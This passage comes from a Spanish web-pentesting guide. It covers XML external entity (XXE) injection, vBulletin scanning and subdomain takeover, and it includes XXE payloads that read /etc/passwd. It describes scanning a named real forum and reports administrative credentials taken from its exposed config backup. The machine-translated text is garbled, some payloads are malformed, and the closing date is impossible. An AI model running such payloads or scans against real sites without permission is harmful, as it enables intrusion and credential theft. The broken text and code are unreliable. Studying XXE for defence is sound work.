Definicion: Un ataque de entidad externa XML (XXE) es un tipo de vulnerabilidad de seguridad informática que normalmente se encuentra en las aplicaciones web. XXE permite a los atacantes divulgar archivos normalmente protegidos desde un servidor o una red conectada. El estándar XML incluye la idea de una entidad general externa analizada una entidad externa. Durante el análisis del documento XML, el analizador expandirá estos vínculos e incluirá el contenido del URI en el documento XML devuelto. Atacante: un atacante obliga al analizador XML para acceder al recurso especificado por lo que podría ser un archivo en el sistema o en cualquier sistema remoto. Por ejemplo, el código de abajo se vendería la carpeta / archivo presente en ese sistema y mostrarlo al usuario.

Page 67: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Entidades XML:

Definicion: XML hace referencia a objetos “ficheros, páginas web, imágenes, cualquier cosa” que no deben ser analizados sintácticamente según las reglas de XML, mediante el uso de entidades. Se declaran en la DTD mediante el uso de "<!ENTITY"

Xml Entidades Externas:

Es una característica rica y ampliamente utilizado intercambio de información Formato y estándar. El estándar permite definir la estructura del XML utilizando un Declaración de tipo de documento o DTD. La DTD proporciona un mecanismo para definir entidades Cuyos valores pueden ser sustituidos en el contenido del documento XML. Esto es útil cuando el El valor de la entidad se utiliza varias veces. El XML contiene un DTD con una entidad llamada "orientación" definida. El valor de La entidad de "orientación" se establece en "alguna orientación". Después de la DTD están los elementos XML Que contienen una etiqueta "url" y una etiqueta de "orientación". El valor del elemento "orientación" es "& Orientation;" que es el nombre de la entidad con un signo & (&) símbolo antes y un Punto y coma (;) después. Esto instruye al analizador XML a reemplazar "& orientation;" con la entidad Valor definido en el DTD, es decir, "alguna orientación".

Page 68: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Identificar vulnerabilidades XXE:

La respuesta directa a esta pregunta sería identificar los puntos finales que

acepten XML como entrada. Pero a veces se encontrará con los casos en los puntos finales que acepten XML podrían no ser tan obvio por ejemplo, los casos en que el cliente sólo utiliza JSON para acceder al servicio. Con estos casos, un probador de la pluma tiene que probar cosas diferentes, tales como la modificación del métodos HTTP, Content-Type etc, para ver cómo responde la solicitud. Si la aplicación analiza el contenido, entonces hay una posibilidad de XXE.

Exploit: (Peticion POST)

<?xml version="1.0"?> <!DOCTYPE foo [<!ELEMENT methodName ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><methodCall> <methodName>&xxe;</methodName></methodCall>

- Ejemplo XXE Explotación

¿Que Se Puede Hacer? 1) denegación de servicio 2) Enumeración de Archivos 3) Enumeración de Redes 4) Escanear puertos 6) Lista de Directorios 7) Exfiltración de archivos

Page 69: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Impacto: El impacto de la explotación de esta vulnerabilidad puede ser muy peligroso, ya que permite a un atacante leer archivos sensibles presentes en el servidor, realice ataque de denegación de servicio en el servidor, etc.

- Proceso De Explotación XXE

Tipos de servicios web donde se dan a conocer:

XML-RPC Llamada de procedimiento remoto XML

JSON-RPC JSON Llamada de Procedimiento Remota RPC

SOAP Protocolo de Acceso de Objeto Simple

REST Transferencia representativa estatal

BEPL Lengua de Ejecución de proceso comercial

WCF Fundación de Comunicación de Ventanas

Page 70: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

XML-RPC Request

Descripción: XML-RPC es un protocolo de llamada a procedimiento remoto que usa XML para codificar los datos y HTTP como protocolo de transmisión de mensajes. Encontrando Un jugador en XML-RPC

- XML RPC Request

- JSON RPC Request

Page 71: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

- - SOAP Request

Practica Con OWZAP XXE:

OWSAP tiene variedades de ejemplos que pueden ser utilizados para tratar esas

vulnerabilidades que poco consigues en algunos sitios en primer lugar utilizamos un único método de explotación Denominada XXE Injection. Como ejemplo OWSAP nos muestra un básico ejemplo de la estructura “XML” como hemos explicando este metodo de explotacion tiene como objetivo tener esos privilegios para ver los archivos de sistemas con los privilegios.

<somexml><message>hola mundo</message></somexml>

Page 72: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

- Estructura XML

Mediante PETICIÓN POST podemos ingresar lo siguiente que se denomina LFI File

Inclusion desde XXE Injecion. Tomar En Cuenta: “Realizar Pruebas Para Asegurarse que la entidades procesen de forma correcta”

<!DOCTYPE person [ <!ELEMENT person ANY> <!ENTITY person "Mr Robot"> <somexml><message>Hello World</message></somexml>

Si procesa correctamente. procesamos File Inclusion.

<!DOCTYPE person [ <!ELEMENT person ANY> <!ENTITY fileEntity SYSTEM "file:///ect/passwrd">"> <somexml><message>hola mundo</message></somexml>

Como Resultado:

“Explotación Exitosa”

Page 73: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Vbulletin Automatizando El Hacking:

Vbulletin ha sido víctima de ataques de todo tipo y muchas de sus versiones por ello se ha creado herramientas capaz de auditar por nosotros de estos ataques es que hoy en dia existen grandes fugas de datos. Vulnerabilidades: FPD, SQli, LFI, XSS, Escalación de Privilegios. Foros como http://forums.imore.com lo hemos puesto a rpeuba testeando su seguridad con vbscan.

-VBSCAN

Page 74: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

- Disclosure Config

- XSS

Abrimos: http://forums.imore.com/includes/config.php~ Datos Obtenidos:

- Credenciales Administrativas

Page 75: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Subdomain TakeOver:

Uno de los muchos hackers que se involucran en un bug bounty “Pro_Mast3r” un usuario iraquí utiliza el método de reclamación de sub dominio en la página de donald trump.

SubDomain TakeOver “Reclamación De Dominio” fue utilizado por este hacker y como causa un “Defacement” a continuación explico sobre ello tomando poca información de “detectify”.

“17 proveedores de servicio que no se ocupan de la verificación de la propiedad subdominio correctamente - que permiten esta vulnerabilidad pueda ser aprovechada, Heroku, Github, Bitbucket, Squarespace, Shopify, Escritorio, Trabajo en equipo, Unbounce, Helpjuice, HelpScout, Pingdom, Tictail, Campaign monitor, CargoCollective, StatusPage.io y Tumblr.”

Recomendación: Compruebe su configuración de DNS para subdominios que apuntan a los servicios no estén en uso.

Page 76: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Definiendo SubDomain TakeOver: Subdomain Takeover es un ataque dirigido a subdominios de un sitio web que causa una mala configuración errónea de DNS. Al hacer esto, el hacker puede tomar el control total de los subdominios. Subdomain Takeover se puede hacer mediante el uso de servicios externos como Desk, Squarespace, Shopify, Github, Tumblr y Heroku. Esta vulnerabilidad poca pronunciada pero en algunos Blogs Y foros podrás encontrar más detalles sin embargo para detectar esta vulnerabilidad podemos utilizar un “SubDomain BruteForce” para enumerar la lista de sub dominios encontrados por nuestra herramienta automatizada. Herramientas: DnsDumpster: https://dnsdumpster.com/ Sublist3r: https://github.com/aboul3la/Sublist3r Online Find: https://pentest-tools.com/information-gathering/find-subdomains-of-domain ¿Por qué es peligroso? 1. Es asombrosamente fácil firmar para arriba para una nueva cuenta y demandar el Domain Name. 2. Al tener el dominio, un atacante puede crear un clon completo del sitio, agregar un formulario de inicio de sesión que redirigirá al usuario a una determinada página, robar credenciales valiosas como cuentas de administrador, robar cookies o destruir completamente la credibilidad de su empresa. . ¿Cómo prevenir este tipo de ataques? Si ha olvidado que su subdominio está apuntado a un servicio externo que no actualiza, sólo tiene que quitar la configuración DNS del servicio externo en su subdominio.

Page 77: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Conclusion:

White Hat

“Los métodos web pentesting son utilizados para bien y el mal todo depende de cada individuo que lo quiera usar a sus gustos o simplemente para trabajar de

whit hat en alguna empresa (Su Misión) prevenir un ataque ”

BlackHat

“Un hacker con propósitos maligno puede utilizar estas técnicas siempre y cuando se enfoque en su objetivo y los niveles de dificultad del servidor

problemas de seguridad como LFI, XXE ,SubDomain TakeOver son de los pocos que se fijan los soportes técnicas en paginas de medio trafico”

KelvinSecurity : “Conocimiento Para Un Mejor Uso” Autor: Kelvin Parra Venezuela. 3001.

Page 78: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección